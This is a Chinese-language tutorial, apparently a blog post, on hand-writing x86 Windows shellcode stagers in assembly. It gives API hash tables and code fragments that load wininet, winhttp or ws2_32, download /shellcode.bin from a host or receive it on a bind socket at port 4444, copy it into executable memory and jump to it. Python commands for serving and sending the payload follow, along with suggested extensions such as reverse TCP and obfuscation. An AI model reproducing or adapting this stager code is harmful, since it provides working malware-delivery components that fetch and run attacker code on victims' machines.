Windows Shellcode开发(x86 stager)技术详解<\/h1>

一、前言<\/h2>
本文详细介绍了x86架构下使用纯汇编语言开发Windows shellcode stager的技术细节，重点涵盖三种不同的网络通信方式实现：<\/p>
基于wininet.dll的HTTP下载执行shellcode<\/li>
基于winhttp.dll的HTTP下载执行shellcode<\/li>
基于ws2_32.dll的TCP socket传输shellcode<\/li> <\/ol>
二、开发环境与工具<\/h2>
调试工具：Windbg、x32dbg\/x64dbg、Visual Studio<\/li>
汇编器：MASM<\/li>
关键工具：010Editor（用于提取.text节机器码）<\/li> <\/ul>
三、核心实现技术<\/h2>

3.1 API动态解析技术<\/h3>
使用GetProcAddressByHash<\/code>函数通过哈希值动态定位API函数地址：<\/p>

通过LoadLibraryA<\/code>加载目标DLL<\/li>
遍历DLL导出表计算函数名哈希<\/li>
匹配目标哈希获取函数地址<\/li>
遵循stdcall调用约定，由被调用方清理栈<\/li>
<\/ol>
3.2 通用代码结构<\/h3>
所有实现都包含以下核心部分：<\/p>

block_api.asm<\/code> - API哈希解析核心代码<\/li>
主功能实现文件（如block_reverse_http.asm<\/code>）<\/li>
内存管理（VirtualAlloc<\/code>）<\/li>
数据传输与执行<\/li>
<\/ol>
四、wininet实现详解<\/h2>
4.1 关键API及哈希<\/h3>



API<\/th>
哈希值<\/th>
<\/tr>
<\/thead>


InternetOpenA<\/td>
0363799Dh<\/td>
<\/tr>

InternetConnectA<\/td>
2289ACBAh<\/td>
<\/tr>

HttpOpenRequestA<\/td>
9718794Eh<\/td>
<\/tr>

HttpSendRequestA<\/td>
D7022990h<\/td>
<\/tr>

InternetReadFile<\/td>
3E73B975h<\/td>
<\/tr>

InternetCloseHandle<\/td>
30588F36h<\/td>
<\/tr>

VirtualAlloc<\/td>
BCEF49D9h<\/td>
<\/tr>

VirtualFree<\/td>
07AAD48Ch<\/td>
<\/tr>
<\/tbody>
<\/table>
4.2 执行流程<\/h3>


初始化会话<\/strong>：<\/p>
push<\/span> 0074656<\/span>Eh<\/span>    ; "net\0"
<\/span><\/span><\/span><\/span>push<\/span> 77696<\/span>E69h<\/span>    ; "wini"
<\/span><\/span><\/span><\/span>push<\/span> esp<\/span>          ; 字符串地址
<\/span><\/span><\/span><\/span>call<\/span> LoadLibraryA<\/span> ; 加载wininet.dll
<\/span><\/span><\/span><\/code><\/pre><\/li>

建立连接<\/strong>：<\/p>
; 压入服务器URI
<\/span><\/span><\/span><\/span>call<\/span> got_server_uri<\/span>
<\/span><\/span>db<\/span> "\/<\/span>shellcode.bin<\/span>"<\/span>, 0<\/span>
<\/span><\/span>got_server_uri:
<\/span><\/span>pop<\/span> edi<\/span>
<\/span><\/span>
<\/span><\/span>; 压入服务器IP
<\/span><\/span><\/span><\/span>call<\/span> got_server_host<\/span>
<\/span><\/span>db<\/span> "<\/span>192<\/span>.168.1.1<\/span>"<\/span>, 0<\/span>
<\/span><\/span>got_server_host:
<\/span><\/span>pop<\/span> esi<\/span>
<\/span><\/span><\/code><\/pre><\/li>

发送请求<\/strong>：<\/p>
push<\/span> ebx<\/span>          ; 0 (NULL)
<\/span><\/span><\/span><\/span>push<\/span> ebx<\/span>          ; 0 (NULL)
<\/span><\/span><\/span><\/span>push<\/span> ebx<\/span>          ; 0 (NULL)
<\/span><\/span><\/span><\/span>push<\/span> edi<\/span>          ; URI地址
<\/span><\/span><\/span><\/span>push<\/span> ebx<\/span>          ; 0 (NULL)
<\/span><\/span><\/span><\/span>push<\/span> ebx<\/span>          ; 0 (NULL)
<\/span><\/span><\/span><\/span>push<\/span> ebx<\/span>          ; 0 (NULL)
<\/span><\/span><\/span><\/span>push<\/span> ebx<\/span>          ; 0 (NULL)
<\/span><\/span><\/span><\/span>push<\/span> eax<\/span>          ; InternetConnect返回的句柄
<\/span><\/span><\/span><\/span>call<\/span> InternetOpenRequestA<\/span>
<\/span><\/span><\/code><\/pre><\/li>

分配内存<\/strong>：<\/p>
push<\/span> 40<\/span>h<\/span>          ; PAGE_EXECUTE_READWRITE
<\/span><\/span><\/span><\/span>push<\/span> 1000<\/span>h<\/span>        ; MEM_COMMIT
<\/span><\/span><\/span><\/span>push<\/span> 1000<\/span>h<\/span>        ; 分配大小
<\/span><\/span><\/span><\/span>push<\/span> ebx<\/span>          ; NULL
<\/span><\/span><\/span><\/span>call<\/span> VirtualAlloc<\/span>
<\/span><\/span>xchg<\/span> eax<\/span>, ebx<\/span>     ; 保存缓冲区地址到ebx
<\/span><\/span><\/span><\/code><\/pre><\/li>

分段下载<\/strong>：<\/p>
read_more:
<\/span><\/span>push<\/span> ebx<\/span>          ; 保存基地址到栈
<\/span><\/span><\/span><\/span>push<\/span> ebx<\/span>          ; 创建占位符
<\/span><\/span><\/span><\/span>mov<\/span> edi<\/span>, esp<\/span>      ; edi指向bytesRead变量
<\/span><\/span><\/span><\/span>
<\/span><\/span>; 读取数据
<\/span><\/span><\/span><\/span>push<\/span> edi<\/span>          ; &bytesRead
<\/span><\/span><\/span><\/span>push<\/span> 200<\/span>h<\/span>         ; 读取大小
<\/span><\/span><\/span><\/span>push<\/span> ebx<\/span>          ; 缓冲区地址
<\/span><\/span><\/span><\/span>push<\/span> eax<\/span>          ; 请求句柄
<\/span><\/span><\/span><\/span>call<\/span> InternetReadFile<\/span>
<\/span><\/span>
<\/span><\/span>; 移动缓冲区指针
<\/span><\/span><\/span><\/span>mov<\/span> eax<\/span>, [edi<\/span>]
<\/span><\/span>add<\/span> ebx<\/span>, eax<\/span>
<\/span><\/span>pop<\/span> eax<\/span>           ; 清空占位符
<\/span><\/span><\/span><\/code><\/pre><\/li>

执行shellcode<\/strong>：<\/p>
ret<\/span>              ; 跳转到缓冲区执行
<\/span><\/span><\/span><\/code><\/pre><\/li>
<\/ol>
五、winhttp实现详解<\/h2>
5.1 关键差异点<\/h3>


字符串格式要求宽字符（LPCWSTR）：<\/p>
dw<\/span> '<\/span>1<\/span>'<\/span>,'<\/span>9<\/span>'<\/span>,'<\/span>2<\/span>'<\/span>,'<\/span>.'<\/span>,'<\/span>1<\/span>'<\/span>,'<\/span>6<\/span>'<\/span>,'<\/span>8<\/span>'<\/span>,'<\/span>.'<\/span>,'<\/span>1<\/span>'<\/span>,'<\/span>.'<\/span>,'<\/span>1<\/span>'<\/span>,0<\/span> ; 宽字符IP
<\/span><\/span><\/span><\/code><\/pre><\/li>

关键API及哈希：<\/p>
<\/li>
<\/ol>



API<\/th>
哈希值<\/th>
<\/tr>
<\/thead>


WinHttpOpen<\/td>
332D226Eh<\/td>
<\/tr>

WinHttpConnect<\/td>
39AE9EB0h<\/td>
<\/tr>

WinHttpOpenRequest<\/td>
0D3431402h<\/td>
<\/tr>

WinHttpSendRequest<\/td>
094B5BFFh<\/td>
<\/tr>

WinHttpReceiveResponse<\/td>
0E82D8B6Fh<\/td>
<\/tr>

WinHttpReadData<\/td>
0F5B42CD6h<\/td>
<\/tr>
<\/tbody>
<\/table>
六、ws2_32实现详解<\/h2>
6.1 关键API及哈希<\/h3>



API<\/th>
哈希值<\/th>
<\/tr>
<\/thead>


WSAStartup<\/td>
78A22668h<\/td>
<\/tr>

WSASocketA<\/td>
5915B629h<\/td>
<\/tr>

bind<\/td>
0DF6E8201h<\/td>
<\/tr>

listen<\/td>
776F8FF6h<\/td>
<\/tr>

accept<\/td>
597292B3h<\/td>
<\/tr>

closesocket<\/td>
0D98414B4h<\/td>
<\/tr>

recv<\/td>
0D7FF7F41h<\/td>
<\/tr>
<\/tbody>
<\/table>
6.2 关键实现细节<\/h3>


WSAStartup初始化<\/strong>：<\/p>
push<\/span> esp<\/span>          ; 指向WSADATA结构
<\/span><\/span><\/span><\/span>push<\/span> 0202<\/span>h<\/span>        ; 版本2.2
<\/span><\/span><\/span><\/span>call<\/span> WSAStartup<\/span>
<\/span><\/span><\/code><\/pre><\/li>

socket绑定<\/strong>：<\/p>
; sockaddr_in结构
<\/span><\/span><\/span><\/span>push<\/span> ebx<\/span>          ; sin_addr = 0.0.0.0
<\/span><\/span><\/span><\/span>push<\/span> 5<\/span>C110002h<\/span>    ; sin_port=4444(0x115C), sin_family=AF_INET(2)
<\/span><\/span><\/span><\/span>mov<\/span> esi<\/span>, esp<\/span>      ; 保存结构地址
<\/span><\/span><\/span><\/span>
<\/span><\/span>push<\/span> 16<\/span>           ; addrlen
<\/span><\/span><\/span><\/span>push<\/span> esi<\/span>          ; sockaddr_in结构
<\/span><\/span><\/span><\/span>push<\/span> eax<\/span>          ; socket句柄
<\/span><\/span><\/span><\/span>call<\/span> bind<\/span>
<\/span><\/span><\/code><\/pre><\/li>

数据接收循环<\/strong>：<\/p>
read_more:
<\/span><\/span>push<\/span> ebx<\/span>          ; flags (0)
<\/span><\/span><\/span><\/span>push<\/span> 200<\/span>h<\/span>         ; len
<\/span><\/span><\/span><\/span>push<\/span> edi<\/span>          ; buf (缓冲区)
<\/span><\/span><\/span><\/span>push<\/span> esi<\/span>          ; s (socket)
<\/span><\/span><\/span><\/span>call<\/span> recv<\/span>
<\/span><\/span>
<\/span><\/span>test<\/span> eax<\/span>, eax<\/span>     ; 检查接收字节数
<\/span><\/span><\/span><\/span>jz<\/span> execute_stage<\/span>  ; 接收完成则执行
<\/span><\/span><\/span><\/span>
<\/span><\/span>add<\/span> edi<\/span>, eax<\/span>      ; 移动缓冲区指针
<\/span><\/span><\/span><\/span>jmp<\/span> read_more<\/span>     ; 继续接收
<\/span><\/span><\/span><\/code><\/pre><\/li>
<\/ol>
七、测试方法<\/h2>


HTTP测试<\/strong>：<\/p>

使用Python启动HTTP服务器：
python -m http.server 5555<\/span>
<\/span><\/span><\/code><\/pre><\/li>
访问\/shellcode.bin<\/code>路径<\/li>
<\/ul>
<\/li>

TCP测试<\/strong>：<\/p>

使用Python客户端发送payload：
import<\/span> socket
<\/span><\/span>s =<\/span> socket.<\/span>socket()
<\/span><\/span>s.<\/span>connect(('192.168.1.1'<\/span>, 4444<\/span>))
<\/span><\/span>s.<\/span>send(open('shellcode.bin'<\/span>,'rb'<\/span>).<\/span>read())
<\/span><\/span>s.<\/span>close()
<\/span><\/span><\/code><\/pre><\/li>
<\/ul>
<\/li>

shellcode提取<\/strong>：<\/p>

使用010Editor提取编译后exe的.text节机器码<\/li>
使用runshc32工具运行提取的.bin文件<\/li>
<\/ul>
<\/li>
<\/ol>
八、优化与扩展<\/h2>


减小体积<\/strong>：<\/p>

复用NULL参数（push ebx<\/code>）<\/li>
精简错误检查逻辑<\/li>
<\/ul>
<\/li>

功能扩展<\/strong>：<\/p>

支持HTTPS<\/li>
实现反向TCP连接<\/li>
添加加密\/混淆功能<\/li>
<\/ul>
<\/li>

x64实现<\/strong>：<\/p>

调用约定差异（fastcall）<\/li>
寄存器使用差异<\/li>
地址空间变化<\/li>
<\/ul>
<\/li>
<\/ol>
九、注意事项<\/h2>

网络字节序<\/strong>：端口号需使用大端模式<\/li>
字符串格式<\/strong>：注意区分ANSI和宽字符<\/li>
内存对齐<\/strong>：保持栈平衡<\/li>
错误处理<\/strong>：关键API调用后应检查返回值<\/li>
调试技巧<\/strong>：

关注寄存器状态变化<\/li>
检查内存数据是否正确写入<\/li>
使用断点分段验证功能<\/li>
<\/ul>
<\/li>
<\/ol>
通过以上技术细节，可以构建出功能完整的x86 shellcode stager，实现远程代码下载与执行功能。<\/p>